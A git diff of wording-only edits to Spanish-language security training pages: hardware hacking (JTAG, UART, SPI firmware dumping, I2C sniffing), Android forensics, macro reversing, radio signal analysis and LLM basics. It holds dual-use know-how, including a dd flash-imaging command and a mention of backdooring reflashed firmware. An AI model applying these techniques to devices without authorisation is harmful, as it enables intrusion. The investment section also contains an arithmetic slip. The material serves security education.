-- Para **compilar** Wat de vuelta a Wasm, [la demo wat2wasm de Wabt](https://webassembly.github.io/wabt/demo/wat2wasm/) cumple su propósito.
+- Para **compilar** Wat de vuelta a Wasm, [la demo wat2wasm de Wabt](https://webassembly.github.io/wabt/demo/wat2wasm/) cumple con el propósito.
 - Otra opción de decompilación se puede encontrar en [web-wasmdec](https://wwwg.github.io/web-wasmdec/).
 
 ## Soluciones de Software
diff --git a/src/reversing/reversing-tools/blobrunner.md b/src/reversing/reversing-tools/blobrunner.md
index 2346b9486..c1174315d 100644
--- a/src/reversing/reversing-tools/blobrunner.md
+++ b/src/reversing/reversing-tools/blobrunner.md
@@ -1,7 +1,7 @@
 {{#include ../../banners/hacktricks-training.md}}
 
 La única línea modificada del [código original](https://github.com/OALabs/BlobRunner) es la línea 10. 
-Para compilarlo, simplemente **crea un proyecto en C/C++ en Visual Studio Code, copia y pega el código y compílalo**.
+Para compilarlo, simplemente **crea un proyecto de C/C++ en Visual Studio Code, copia y pega el código y compílalo**.
 ```c
 #include <stdio.h>
 #include <windows.h>
diff --git a/src/reversing/word-macros.md b/src/reversing/word-macros.md
index f585d408f..0a3bcd897 100644
--- a/src/reversing/word-macros.md
+++ b/src/reversing/word-macros.md
@@ -4,14 +4,14 @@
 
 ### Código Basura
 
-Es muy común encontrar **código basura que nunca se utiliza** para dificultar la reversión de la macro.\
-Por ejemplo, en la siguiente imagen puedes ver que se utiliza un If que nunca va a ser verdadero para ejecutar algún código basura y inútil.
+Es muy común encontrar **código basura que nunca se utiliza** para dificultar la reversión del macro.\
+Por ejemplo, en la siguiente imagen puedes ver que se utiliza un If que nunca va a ser verdadero para ejecutar algún código basura e inútil.
 
 ![](<../images/image (369).png>)
 
 ### Formularios de Macro
 
-Usando la función **GetObject** es posible obtener datos de los formularios de la macro. Esto se puede utilizar para dificultar el análisis. La siguiente es una foto de un formulario de macro utilizado para **ocultar datos dentro de cuadros de texto** (un cuadro de texto puede estar ocultando otros cuadros de texto):
+Usando la función **GetObject** es posible obtener datos de los formularios del macro. Esto se puede utilizar para dificultar el análisis. La siguiente es una foto de un formulario de macro utilizado para **ocultar datos dentro de cuadros de texto** (un cuadro de texto puede estar ocultando otros cuadros de texto):
 
 ![](<../images/image (344).png>)
 
diff --git a/src/stego/stego-tricks.md b/src/stego/stego-tricks.md
index edfbf219c..defc8b8ca 100644
--- a/src/stego/stego-tricks.md
+++ b/src/stego/stego-tricks.md
@@ -91,7 +91,7 @@ stegcracker <file> [<wordlist>]
 ```
 ### **zsteg para archivos PNG y BMP**
 
-zsteg se especializa en descubrir datos ocultos en archivos PNG y BMP. La instalación se realiza a través de `gem install zsteg`, con su [fuente en GitHub](https://github.com/zed-0xff/zsteg).
+zsteg se especializa en descubrir datos ocultos en archivos PNG y BMP. La instalación se realiza a través de `gem install zsteg`, con su [source on GitHub](https://github.com/zed-0xff/zsteg).
 
 **Comandos:**
 
diff --git a/src/todo/android-forensics.md b/src/todo/android-forensics.md
index 555b2b3fa..6c43af21d 100644
--- a/src/todo/android-forensics.md
+++ b/src/todo/android-forensics.md
@@ -17,8 +17,8 @@ Crea un [respaldo de android usando adb](../mobile-pentesting/android-app-pentes
 ### Si hay acceso root o conexión física a la interfaz JTAG
 
 - `cat /proc/partitions` (busca la ruta a la memoria flash, generalmente la primera entrada es _mmcblk0_ y corresponde a toda la memoria flash).
-- `df /data` (Descubre el tamaño del bloque del sistema).
-- dd if=/dev/block/mmcblk0 of=/sdcard/blk0.img bs=4096 (ejecuta con la información recopilada del tamaño del bloque).
+- `df /data` (Descubre el tamaño de bloque del sistema).
+- dd if=/dev/block/mmcblk0 of=/sdcard/blk0.img bs=4096 (ejecuta con la información recopilada del tamaño de bloque).
 
 ### Memoria
 
diff --git a/src/todo/hardware-hacking/README.md b/src/todo/hardware-hacking/README.md
index fc5a2f7fd..976019419 100644
--- a/src/todo/hardware-hacking/README.md
+++ b/src/todo/hardware-hacking/README.md
@@ -35,7 +35,7 @@ A veces podrás encontrar esos pines marcados en el PCB. En otras ocasiones, pod
 
 La forma más rápida pero más cara de detectar puertos JTAG es utilizando el **JTAGulator**, un dispositivo creado específicamente para este propósito (aunque también puede **detectar salidas de UART**).
 
-Tiene **24 canales** a los que puedes conectar los pines de las placas. Luego realiza un **ataque BF** de todas las combinaciones posibles enviando comandos de escaneo de límites **IDCODE** y **BYPASS**. Si recibe una respuesta, muestra el canal correspondiente a cada señal JTAG.
+Tiene **24 canales** que puedes conectar a los pines de las placas. Luego realiza un **ataque BF** de todas las combinaciones posibles enviando comandos de escaneo de límites **IDCODE** y **BYPASS**. Si recibe una respuesta, muestra el canal correspondiente a cada señal JTAG.
 
 Una forma más barata pero mucho más lenta de identificar salidas JTAG es utilizando [**JTAGenum**](https://github.com/cyphunk/JTAGenum/) cargado en un microcontrolador compatible con Arduino.
 
diff --git a/src/todo/hardware-hacking/i2c.md b/src/todo/hardware-hacking/i2c.md
index 3ed226c51..8fc999257 100644
--- a/src/todo/hardware-hacking/i2c.md
+++ b/src/todo/hardware-hacking/i2c.md
@@ -155,7 +155,7 @@ NACK
 ```
 ### Sniffer
 
-En este escenario vamos a esnifar la comunicación I2C entre el arduino y la EPROM anterior, solo necesitas comunicar ambos dispositivos y luego conectar el bus pirate a los pines SCL, SDA y GND:
+En este escenario vamos a espiar la comunicación I2C entre el arduino y la EPROM anterior, solo necesitas comunicar ambos dispositivos y luego conectar el bus pirate a los pines SCL, SDA y GND:
 
 ![](<../../images/image (166).png>)
 ```bash
diff --git a/src/todo/hardware-hacking/radio.md b/src/todo/hardware-hacking/radio.md
index db9c41de4..834ee7184 100644
--- a/src/todo/hardware-hacking/radio.md
+++ b/src/todo/hardware-hacking/radio.md
@@ -9,7 +9,7 @@
 ### Configuración básica
 
 Después de instalar, hay algunas cosas que podrías considerar configurar.\
-En la configuración (el segundo botón de pestaña) puedes seleccionar el **dispositivo SDR** o **seleccionar un archivo** para leer y qué frecuencia sintonizar y la tasa de muestreo (recomendado hasta 2.56Msps si tu PC lo soporta)\\
+En la configuración (el segundo botón de pestaña) puedes seleccionar el **dispositivo SDR** o **seleccionar un archivo** para leer y qué frecuencia sintonizar y la tasa de muestreo (se recomienda hasta 2.56Msps si tu PC lo soporta)\\
 
 ![](<../../images/image (245).png>)
 
@@ -50,8 +50,8 @@ Con [**SigDigger** ](https://github.com/BatchDrake/SigDigger)sincroniza con el c
 
 ### Descubriendo el tipo de modulación con IQ
 
-Hay 3 formas de almacenar información en señales: Modulando la **amplitud**, **frecuencia** o **fase**.\
-Si estás revisando una señal, hay diferentes maneras de intentar averiguar qué se está utilizando para almacenar información (encuentra más formas a continuación), pero una buena es revisar el gráfico IQ.
+Hay 3 formas de almacenar información en señales: modulando la **amplitud**, **frecuencia** o **fase**.\
+Si estás revisando una señal, hay diferentes formas de intentar averiguar qué se está utilizando para almacenar información (encuentra más formas a continuación), pero una buena es revisar el gráfico IQ.
 
 ![](<../../images/image (788).png>)
 
@@ -80,7 +80,7 @@ Y así es como se ve parte del símbolo con la forma de onda:
 
 #### Revisando el histograma
 
-Puedes **seleccionar toda la señal** donde se encuentra la información, seleccionar el modo **Amplitud** y **Selección** y hacer clic en **Histograma.** Puedes observar que solo se encuentran 2 niveles claros.
+Puedes **seleccionar toda la señal** donde se encuentra la información, seleccionar el modo **Amplitud** y **Selección** y hacer clic en **Histograma**. Puedes observar que solo se encuentran 2 niveles claros.
 
 ![](<../../images/image (264).png>)
 
@@ -88,7 +88,7 @@ Por ejemplo, si seleccionas Frecuencia en lugar de Amplitud en esta señal AM, s
 
 ![](<../../images/image (732).png>)
 
-Si encuentras muchas frecuencias, potencialmente esto no será un FM, probablemente la frecuencia de la señal solo se modificó debido al canal.
+Si encuentras muchas frecuencias, potencialmente esto no será un FM; probablemente la frecuencia de la señal solo se modificó debido al canal.
 
 #### Con IQ
 
@@ -112,14 +112,14 @@ También puedes indicar el número de símbolos que vas a seleccionar y SigDigge
 
 ### Obtener bits
 
-Habiendo encontrado que esta es una señal **modulada en AM** y la **tasa de símbolos** (y sabiendo que en este caso algo up significa 1 y algo down significa 0), es muy fácil **obtener los bits** codificados en la señal. Así que, selecciona la señal con información y configura el muestreo y la decisión y presiona muestrear (verifica que **Amplitud** esté seleccionada, que la **Tasa de símbolos** descubierta esté configurada y que la **recuperación de reloj de Gadner** esté seleccionada):
+Habiendo encontrado que esta es una señal **modulada en AM** y la **tasa de símbolos** (y sabiendo que en este caso algo up significa 1 y algo down significa 0), es muy fácil **obtener los bits** codificados en la señal. Así que, selecciona la señal con información y configura el muestreo y la decisión y presiona muestrear (verifica que **Amplitud** esté seleccionada, que la **Tasa de símbolos** descubierta esté configurada y que la **recuperación de reloj de Gardner** esté seleccionada):
 
 ![](<../../images/image (965).png>)
 
 - **Sincronizar a intervalos de selección** significa que si previamente seleccionaste intervalos para encontrar la tasa de símbolos, esa tasa de símbolos se utilizará.
-- **Manual** significa que la tasa de símbolos indicada se utilizará.
+- **Manual** significa que se utilizará la tasa de símbolos indicada.
 - En **Selección de intervalo fijo** indicas el número de intervalos que deben seleccionarse y calcula la tasa de símbolos a partir de ello.
-- **Recuperación de reloj de Gadner** es generalmente la mejor opción, pero aún necesitas indicar alguna tasa de símbolos aproximada.
+- **Recuperación de reloj de Gardner** suele ser la mejor opción, pero aún necesitas indicar alguna tasa de símbolos aproximada.
 
 Al presionar muestrear, esto aparece:
 
@@ -137,7 +137,7 @@ Finalmente, **aumentando** el **Zoom** y **cambiando el tamaño de fila**, puede
 
 Si la señal tiene más de 1 bit por símbolo (por ejemplo, 2), SigDigger **no tiene forma de saber qué símbolo es** 00, 01, 10, 11, así que usará diferentes **escalas de grises** para representar cada uno (y si copias los bits, usará **números del 0 al 3**, necesitarás tratarlos).
 
-Además, usa **codificaciones** como **Manchester**, y **up+down** puede ser **1 o 0** y un down+up puede ser un 1 o 0. En esos casos necesitas **tratar los ups obtenidos (1) y downs (0)** para sustituir los pares de 01 o 10 como 0s o 1s.
+Además, usa **codificaciones** como **Manchester**, y **up+down** puede ser **1 o 0** y un down+up puede ser un 1 o 0. En esos casos, necesitas **tratar los ups (1) y downs (0) obtenidos** para sustituir los pares de 01 o 10 como 0s o 1s.
 
 ## Ejemplo de FM
 
diff --git a/src/todo/hardware-hacking/spi.md b/src/todo/hardware-hacking/spi.md
index 28b47f676..d40788494 100644
--- a/src/todo/hardware-hacking/spi.md
+++ b/src/todo/hardware-hacking/spi.md
@@ -8,13 +8,13 @@ SPI (Interfaz Periférica Serial) es un Protocolo de Comunicación Serial Sincr
 
 Se pueden conectar múltiples esclavos a un maestro, pero los esclavos no pueden comunicarse entre sí. Los esclavos son administrados por dos pines, reloj y selección de chip. Como SPI es un protocolo de comunicación sincrónica, los pines de entrada y salida siguen las señales de reloj. La selección de chip es utilizada por el maestro para seleccionar un esclavo e interactuar con él. Cuando la selección de chip está alta, el dispositivo esclavo no está seleccionado, mientras que cuando está baja, el chip ha sido seleccionado y el maestro interactuará con el esclavo.
 
-El MOSI (Master Out, Slave In) y MISO (Master In, Slave Out) son responsables de enviar y recibir datos. Los datos se envían al dispositivo esclavo a través del pin MOSI mientras la selección de chip se mantiene baja. Los datos de entrada contienen instrucciones, direcciones de memoria o datos según la hoja de datos del proveedor del dispositivo esclavo. Tras una entrada válida, el pin MISO es responsable de transmitir datos al maestro. Los datos de salida se envían exactamente en el siguiente ciclo de reloj después de que termina la entrada. El pin MISO transmite datos hasta que los datos se transmiten completamente o el maestro establece el pin de selección de chip en alto (en ese caso, el esclavo dejaría de transmitir y el maestro no escucharía después de ese ciclo de reloj).
+El MOSI (Master Out, Slave In) y MISO (Master In, Slave Out) son responsables de enviar y recibir datos. Los datos se envían al dispositivo esclavo a través del pin MOSI mientras la selección de chip se mantiene baja. Los datos de entrada contienen instrucciones, direcciones de memoria o datos según la hoja de datos del proveedor del dispositivo esclavo. Tras una entrada válida, el pin MISO es responsable de transmitir datos al maestro. Los datos de salida se envían exactamente en el siguiente ciclo de reloj después de que finaliza la entrada. El pin MISO transmite datos hasta que los datos se transmiten completamente o el maestro establece el pin de selección de chip en alto (en ese caso, el esclavo dejaría de transmitir y el maestro no escucharía después de ese ciclo de reloj).
 
 ## Volcado de Firmware desde EEPROMs
 
 Volcar firmware puede ser útil para analizar el firmware y encontrar vulnerabilidades en él. A menudo, el firmware no está disponible en internet o es irrelevante debido a variaciones de factores como el número de modelo, versión, etc. Por lo tanto, extraer el firmware directamente del dispositivo físico puede ser útil para ser específico al buscar amenazas.
 
-Obtener la Consola Serial puede ser útil, pero a menudo sucede que los archivos son de solo lectura. Esto limita el análisis por varias razones. Por ejemplo, las herramientas que se requieren para enviar y recibir paquetes no estarían en el firmware. Así que extraer los binarios para ingeniería inversa no es factible. Por lo tanto, tener todo el firmware volcado en el sistema y extraer los binarios para análisis puede ser muy útil.
+Obtener la Consola Serial puede ser útil, pero a menudo sucede que los archivos son de solo lectura. Esto limita el análisis por diversas razones. Por ejemplo, las herramientas que se requieren para enviar y recibir paquetes no estarían en el firmware. Por lo tanto, extraer los binarios para ingeniería inversa no es factible. Por lo tanto, tener todo el firmware volcado en el sistema y extraer los binarios para análisis puede ser muy útil.
 
 Además, durante el red teaming y al obtener acceso físico a los dispositivos, volcar el firmware puede ayudar a modificar los archivos o inyectar archivos maliciosos y luego volver a flashearlos en la memoria, lo que podría ser útil para implantar un backdoor en el dispositivo. Por lo tanto, hay numerosas posibilidades que se pueden desbloquear con el volcado de firmware.
 
@@ -32,7 +32,7 @@ Finalmente, use software como flashrom, G-Flash (GUI), etc. para volcar el firmw
 
 ![drawing](../../images/connected_status_ch341a.jpg)
 
-Después de volcar el firmware, se puede realizar el análisis en los archivos binarios. Herramientas como strings, hexdump, xxd, binwalk, etc. pueden ser utilizadas para extraer mucha información sobre el firmware así como sobre todo el sistema de archivos también.
+Después de volcar el firmware, se puede realizar el análisis en los archivos binarios. Herramientas como strings, hexdump, xxd, binwalk, etc. se pueden usar para extraer mucha información sobre el firmware así como sobre todo el sistema de archivos también.
 
 Para extraer los contenidos del firmware, se puede usar binwalk. Binwalk analiza las firmas hexadecimales e identifica los archivos en el archivo binario y es capaz de extraerlos.
 ```
diff --git a/src/todo/hardware-hacking/uart.md b/src/todo/hardware-hacking/uart.md
index e8f0ee3c2..1fc07b974 100644
--- a/src/todo/hardware-hacking/uart.md
+++ b/src/todo/hardware-hacking/uart.md
@@ -6,7 +6,7 @@
 
 UART es un protocolo serial, lo que significa que transfiere datos entre componentes un bit a la vez. En contraste, los protocolos de comunicación paralela transmiten datos simultáneamente a través de múltiples canales. Los protocolos seriales comunes incluyen RS-232, I2C, SPI, CAN, Ethernet, HDMI, PCI Express y USB.
 
-Generalmente, la línea se mantiene alta (en un valor lógico de 1) mientras UART está en estado de inactividad. Luego, para señalar el inicio de una transferencia de datos, el transmisor envía un bit de inicio al receptor, durante el cual la señal se mantiene baja (en un valor lógico de 0). A continuación, el transmisor envía de cinco a ocho bits de datos que contienen el mensaje real, seguidos de un bit de paridad opcional y uno o dos bits de parada (con un valor lógico de 1), dependiendo de la configuración. El bit de paridad, utilizado para la verificación de errores, rara vez se ve en la práctica. El bit (o bits) de parada significan el final de la transmisión.
+Generalmente, la línea se mantiene alta (en un valor lógico de 1) mientras UART está en estado de inactividad. Luego, para señalar el inicio de una transferencia de datos, el transmisor envía un bit de inicio al receptor, durante el cual la señal se mantiene baja (en un valor lógico de 0). A continuación, el transmisor envía de cinco a ocho bits de datos que contienen el mensaje real, seguidos de un bit de paridad opcional y uno o dos bits de parada (con un valor lógico de 1), dependiendo de la configuración. El bit de paridad, utilizado para la verificación de errores, rara vez se ve en la práctica. El bit (o bits) de parada indican el final de la transmisión.
 
 Llamamos a la configuración más común 8N1: ocho bits de datos, sin paridad y un bit de parada. Por ejemplo, si quisiéramos enviar el carácter C, o 0x43 en ASCII, en una configuración UART 8N1, enviaríamos los siguientes bits: 0 (el bit de inicio); 0, 1, 0, 0, 0, 0, 1, 1 (el valor de 0x43 en binario), y 0 (el bit de parada).
 
@@ -20,16 +20,16 @@ Herramientas de hardware para comunicarse con UART:
 
 ### Identificación de Puertos UART
 
-UART tiene 4 puertos: **TX**(Transmitir), **RX**(Recibir), **Vcc**(Voltaje) y **GND**(Tierra). Es posible que puedas encontrar 4 puertos con las letras **`TX`** y **`RX`** **escritas** en el PCB. Pero si no hay indicación, es posible que necesites intentar encontrarlos tú mismo usando un **multímetro** o un **analizador lógico**.
+UART tiene 4 puertos: **TX**(Transmitir), **RX**(Recibir), **Vcc**(Voltaje) y **GND**(Tierra). Podrías encontrar 4 puertos con las letras **`TX`** y **`RX`** **escritas** en el PCB. Pero si no hay indicación, es posible que necesites intentar encontrarlos tú mismo usando un **multímetro** o un **analizador lógico**.
 
 Con un **multímetro** y el dispositivo apagado:
 
 - Para identificar el pin **GND**, usa el modo de **Prueba de Continuidad**, coloca el cable negro en tierra y prueba con el rojo hasta que escuches un sonido del multímetro. Se pueden encontrar varios pines GND en el PCB, por lo que podrías haber encontrado o no el que pertenece a UART.
-- Para identificar el **puerto VCC**, configura el **modo de voltaje DC** y ajústalo a 20 V de voltaje. Probeta negra en tierra y probeta roja en el pin. Enciende el dispositivo. Si el multímetro mide un voltaje constante de 3.3 V o 5 V, has encontrado el pin Vcc. Si obtienes otros voltajes, vuelve a intentar con otros puertos.
-- Para identificar el **puerto TX**, configura el **modo de voltaje DC** hasta 20 V de voltaje, probeta negra en tierra y probeta roja en el pin, y enciende el dispositivo. Si encuentras que el voltaje fluctúa durante unos segundos y luego se estabiliza en el valor Vcc, es muy probable que hayas encontrado el puerto TX. Esto se debe a que al encender, envía algunos datos de depuración.
+- Para identificar el **puerto VCC**, configura el **modo de voltaje DC** y ajústalo a 20 V de voltaje. Probeta negra en tierra y probeta roja en el pin. Enciende el dispositivo. Si el multímetro mide un voltaje constante de 3.3 V o 5 V, has encontrado el pin Vcc. Si obtienes otros voltajes, vuelve a intentarlo con otros puertos.
+- Para identificar el **puerto TX**, configura el **modo de voltaje DC** hasta 20 V de voltaje, probeta negra en tierra y probeta roja en el pin, y enciende el dispositivo. Si encuentras que el voltaje fluctúa durante unos segundos y luego se estabiliza en el valor de Vcc, es muy probable que hayas encontrado el puerto TX. Esto se debe a que al encender, envía algunos datos de depuración.
 - El **puerto RX** sería el más cercano a los otros 3, tiene la fluctuación de voltaje más baja y el valor general más bajo de todos los pines UART.
 
-Puedes confundir los puertos TX y RX y no pasará nada, pero si confundes el puerto GND y el VCC podrías dañar el circuito.
+Puedes confundir los puertos TX y RX y no pasaría nada, pero si confundes el puerto GND y el VCC podrías dañar el circuito.
 
 En algunos dispositivos objetivo, el puerto UART está deshabilitado por el fabricante al deshabilitar RX o TX o incluso ambos. En ese caso, puede ser útil rastrear las conexiones en la placa de circuito y encontrar algún punto de salida. Una fuerte pista sobre la confirmación de la no detección de UART y la ruptura del circuito es verificar la garantía del dispositivo. Si el dispositivo ha sido enviado con alguna garantía, el fabricante deja algunas interfaces de depuración (en este caso, UART) y, por lo tanto, debe haber desconectado el UART y lo volvería a conectar mientras depura. Estos pines de salida se pueden conectar soldando o usando cables de puente.
 
@@ -62,11 +62,11 @@ Configura los ajustes como la velocidad en baudios y el nombre del dispositivo e
 
 Después de la configuración, usa el comando `minicom` para iniciar la Consola UART.
 
-## UART a través de Arduino UNO R3 (Placas de chip Atmel 328p extraíbles)
+## UART a través de Arduino UNO R3 (Placas de chip Atmel 328p removibles)
 
 En caso de que no estén disponibles adaptadores de UART Serial a USB, se puede usar Arduino UNO R3 con un hack rápido. Dado que Arduino UNO R3 suele estar disponible en cualquier lugar, esto puede ahorrar mucho tiempo.
 
-Arduino UNO R3 tiene un adaptador USB a Serial integrado en la placa. Para obtener la conexión UART, simplemente desconecta el chip microcontrolador Atmel 328p de la placa. Este hack funciona en variantes de Arduino UNO R3 que tienen el Atmel 328p no soldado en la placa (se utiliza la versión SMD). Conecta el pin RX de Arduino (Pin Digital 0) al pin TX de la interfaz UART y el pin TX de Arduino (Pin Digital 1) al pin RX de la interfaz UART.
+Arduino UNO R3 tiene un adaptador USB a Serial integrado en la placa. Para obtener conexión UART, simplemente desconecta el chip microcontrolador Atmel 328p de la placa. Este hack funciona en variantes de Arduino UNO R3 que tienen el Atmel 328p no soldado en la placa (se utiliza la versión SMD). Conecta el pin RX de Arduino (Pin Digital 0) al pin TX de la interfaz UART y el pin TX de Arduino (Pin Digital 1) al pin RX de la interfaz UART.
 
 Finalmente, se recomienda usar Arduino IDE para obtener la Consola Serial. En la sección `tools` del menú, selecciona la opción `Serial Console` y establece la velocidad en baudios según la interfaz UART.
 
@@ -146,7 +146,7 @@ waiting a few secs to repeat....
 ```
 ## Volcado de Firmware con Consola UART
 
-La Consola UART proporciona una excelente manera de trabajar con el firmware subyacente en un entorno de ejecución. Pero cuando el acceso a la Consola UART es de solo lectura, puede introducir muchas limitaciones. En muchos dispositivos embebidos, el firmware se almacena en EEPROMs y se ejecuta en procesadores que tienen memoria volátil. Por lo tanto, el firmware se mantiene en solo lectura ya que el firmware original durante la fabricación está dentro de la EEPROM misma y cualquier archivo nuevo se perdería debido a la memoria volátil. Por lo tanto, volcar firmware es un esfuerzo valioso al trabajar con firmwares embebidos.
+La Consola UART proporciona una excelente manera de trabajar con el firmware subyacente en un entorno de ejecución. Pero cuando el acceso a la Consola UART es de solo lectura, puede introducir muchas limitaciones. En muchos dispositivos embebidos, el firmware se almacena en EEPROM y se ejecuta en procesadores que tienen memoria volátil. Por lo tanto, el firmware se mantiene en solo lectura ya que el firmware original durante la fabricación está dentro de la EEPROM misma y cualquier archivo nuevo se perdería debido a la memoria volátil. Por lo tanto, volcar firmware es un esfuerzo valioso al trabajar con firmwares embebidos.
 
 Hay muchas maneras de hacer esto y la sección de SPI cubre métodos para extraer firmware directamente de la EEPROM con varios dispositivos. Sin embargo, se recomienda primero intentar volcar el firmware con UART, ya que volcar firmware con dispositivos físicos e interacciones externas puede ser arriesgado.
 
diff --git a/src/todo/interesting-http.md b/src/todo/interesting-http.md
index cfce8d448..d2dfd7e09 100644
--- a/src/todo/interesting-http.md
+++ b/src/todo/interesting-http.md
@@ -30,6 +30,6 @@ Puedes anular esta regla utilizando una etiqueta meta HTML (el atacante necesita
 ```
 ## Defensa
 
-Nunca pongas datos sensibles dentro de los parámetros GET o rutas en la URL.
+Nunca pongas datos sensibles dentro de parámetros GET o rutas en la URL.
 
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/todo/investment-terms.md b/src/todo/investment-terms.md
index 0e22a8d1d..a0aa00754 100644
--- a/src/todo/investment-terms.md
+++ b/src/todo/investment-terms.md
@@ -29,7 +29,7 @@ En caso de que el precio baje, el gestor de fondos obtendrá beneficios porque v
 
 ### Futuros Perpetuos
 
-**Estos son "futuros" que durarán indefinidamente** (sin una fecha de contrato final). Es muy común encontrarlos, por ejemplo, en intercambios de criptomonedas donde puedes entrar y salir de futuros basados en el precio de las criptos.
+**Estos son "futuros" que durarán indefinidamente** (sin una fecha de contrato final). Es muy común encontrarlos, por ejemplo, en intercambios de criptomonedas donde puedes entrar y salir de futuros basados en el precio de las criptomonedas.
 
 Ten en cuenta que en estos casos, los beneficios y pérdidas pueden ser en tiempo real; si el precio aumenta un 1%, ganas un 1%; si el precio disminuye un 1%, lo perderás.
 
@@ -40,7 +40,7 @@ Ten en cuenta que en estos casos, los beneficios y pérdidas pueden ser en tiemp
 Por ejemplo, si abres una posición de futuro en el BTC/USDT con 100$ a un apalancamiento de 50x, esto significa que si el precio aumenta un 1%, entonces ganarías 1x50 = 50% de tu inversión inicial (50$). Y por lo tanto, tendrías 150$.\
 Sin embargo, si el precio disminuye un 1%, perderás el 50% de tus fondos (59$ en este caso). Y si el precio disminuye un 2%, perderás toda tu apuesta (2x50 = 100%).
 
-Por lo tanto, el apalancamiento permite controlar la cantidad de dinero que apuestas mientras aumentas las ganancias y las pérdidas.
+Por lo tanto, el apalancamiento permite controlar la cantidad de dinero que apuestas mientras aumenta las ganancias y pérdidas.
 
 ## Diferencias entre Futuros y Opciones
 
diff --git a/src/todo/llm-training-data-preparation/0.-basic-llm-concepts.md b/src/todo/llm-training-data-preparation/0.-basic-llm-concepts.md
index 2ac2fb4b2..56f778ac6 100644
--- a/src/todo/llm-training-data-preparation/0.-basic-llm-concepts.md
+++ b/src/todo/llm-training-data-preparation/0.-basic-llm-concepts.md
@@ -13,7 +13,7 @@ Usualmente, un LLM se caracteriza por la configuración utilizada para entrenarl
 - **Dimensión de incrustación**: El tamaño del vector utilizado para representar cada token o palabra. Los LLMs suelen usar miles de millones de dimensiones.
 - **Dimensión oculta**: El tamaño de las capas ocultas en la red neuronal.
 - **Número de capas (profundidad)**: Cuántas capas tiene el modelo. Los LLMs suelen usar decenas de capas.
-- **Número de cabezas de atención**: En los modelos de transformador, esta es la cantidad de mecanismos de atención separados que se utilizan en cada capa. Los LLMs suelen usar decenas de cabezas.
+- **Número de cabezales de atención**: En los modelos de transformadores, esta es la cantidad de mecanismos de atención separados que se utilizan en cada capa. Los LLMs suelen usar decenas de cabezales.
 - **Dropout**: El dropout es algo así como el porcentaje de datos que se eliminan (las probabilidades se convierten en 0) durante el entrenamiento utilizado para **prevenir el sobreajuste.** Los LLMs suelen usar entre 0-20%.
 
 Configuración del modelo GPT-2:
@@ -28,26 +28,26 @@ GPT_CONFIG_124M = {
 "qkv_bias": False     // Query-Key-Value bias
 }
 ```
-## Tensors en PyTorch
+## Tensores en PyTorch
 
-En PyTorch, un **tensor** es una estructura de datos fundamental que sirve como un array multidimensional, generalizando conceptos como escalares, vectores y matrices a dimensiones potencialmente más altas. Los tensores son la forma principal en que los datos se representan y manipulan en PyTorch, especialmente en el contexto del aprendizaje profundo y las redes neuronales.
+En PyTorch, un **tensor** es una estructura de datos fundamental que sirve como un arreglo multidimensional, generalizando conceptos como escalares, vectores y matrices a dimensiones potencialmente más altas. Los tensores son la forma principal en que los datos se representan y manipulan en PyTorch, especialmente en el contexto del aprendizaje profundo y las redes neuronales.
 
 ### Concepto Matemático de Tensores
 
 - **Escalares**: Tensores de rango 0, que representan un solo número (cero-dimensional). Como: 5
-- **Vectores**: Tensores de rango 1, que representan un array unidimensional de números. Como: \[5,1]
-- **Matrices**: Tensores de rango 2, que representan arrays bidimensionales con filas y columnas. Como: \[\[1,3], \[5,2]]
+- **Vectores**: Tensores de rango 1, que representan un arreglo unidimensional de números. Como: \[5,1]
+- **Matrices**: Tensores de rango 2, que representan arreglos bidimensionales con filas y columnas. Como: \[\[1,3], \[5,2]]
 - **Tensores de Rango Superior**: Tensores de rango 3 o más, que representan datos en dimensiones superiores (por ejemplo, tensores 3D para imágenes en color).
 
 ### Tensores como Contenedores de Datos
 
 Desde una perspectiva computacional, los tensores actúan como contenedores para datos multidimensionales, donde cada dimensión puede representar diferentes características o aspectos de los datos. Esto hace que los tensores sean altamente adecuados para manejar conjuntos de datos complejos en tareas de aprendizaje automático.
 
-### Tensores de PyTorch vs. Arrays de NumPy
+### Tensores de PyTorch vs. Arreglos de NumPy
 
-Mientras que los tensores de PyTorch son similares a los arrays de NumPy en su capacidad para almacenar y manipular datos numéricos, ofrecen funcionalidades adicionales cruciales para el aprendizaje profundo:
+Mientras que los tensores de PyTorch son similares a los arreglos de NumPy en su capacidad para almacenar y manipular datos numéricos, ofrecen funcionalidades adicionales cruciales para el aprendizaje profundo:
 
-- **Diferenciación Automática**: Los tensores de PyTorch soportan el cálculo automático de gradientes (autograd), lo que simplifica el proceso de cálculo de derivadas requeridas para entrenar redes neuronales.
+- **Diferenciación Automática**: Los tensores de PyTorch soportan el cálculo automático de gradientes (autograd), lo que simplifica el proceso de calcular derivadas requeridas para entrenar redes neuronales.
 - **Aceleración por GPU**: Los tensores en PyTorch pueden ser movidos y computados en GPUs, acelerando significativamente los cálculos a gran escala.
 
 ### Creando Tensores en PyTorch
@@ -97,7 +97,7 @@ PyTorch proporciona una variedad de operaciones para manipular tensores:
 print(tensor2d.shape)  # Salida: torch.Size([2, 2])
 ```
 
-- **Reformateando Tensores**: Usa `.reshape()` o `.view()` para cambiar la forma.
+- **Reformando Tensores**: Usa `.reshape()` o `.view()` para cambiar la forma.
 
 ```python
 reshaped = tensor2d.reshape(4, 1)
@@ -197,7 +197,7 @@ Gradient w.r.t b: tensor([-0.0817])
 ```
 ## Retropropagación en Redes Neuronales Más Grandes
 
-### **1. Ampliación a Redes Multicapa**
+### **1. Extensión a Redes Multicapa**
 
 En redes neuronales más grandes con múltiples capas, el proceso de cálculo de gradientes se vuelve más complejo debido al aumento en el número de parámetros y operaciones. Sin embargo, los principios fundamentales permanecen iguales:
 
@@ -270,7 +270,7 @@ En este código:
 - **Backward Pass:** `loss.backward()` calcula los gradientes de la pérdida con respecto a todos los parámetros.
 - **Parameter Update:** `optimizer.step()` actualiza los parámetros en función de los gradientes calculados.
 
-### **5. Comprendiendo el Backward Pass**
+### **5. Entendiendo el Backward Pass**
 
 Durante el backward pass:
 
diff --git a/src/todo/llm-training-data-preparation/1.-tokenizing.md b/src/todo/llm-training-data-preparation/1.-tokenizing.md
index fa85fd8bb..23dc4d916 100644
--- a/src/todo/llm-training-data-preparation/1.-tokenizing.md
+++ b/src/todo/llm-training-data-preparation/1.-tokenizing.md
@@ -27,7 +27,7 @@ Si `"Hola"` se asigna el ID `64`, `","` es `455`, `"mundo"` es `78`, y `"!"` es
 - **Manejo de Palabras Desconocidas:**\
 Si una palabra como `"Adiós"` no está en el vocabulario, se reemplaza con `[UNK]`.\
 `"¡Adiós, mundo!"` → `["[UNK]", ",", "mundo", "!"]` → `[987, 455, 78, 467]`\
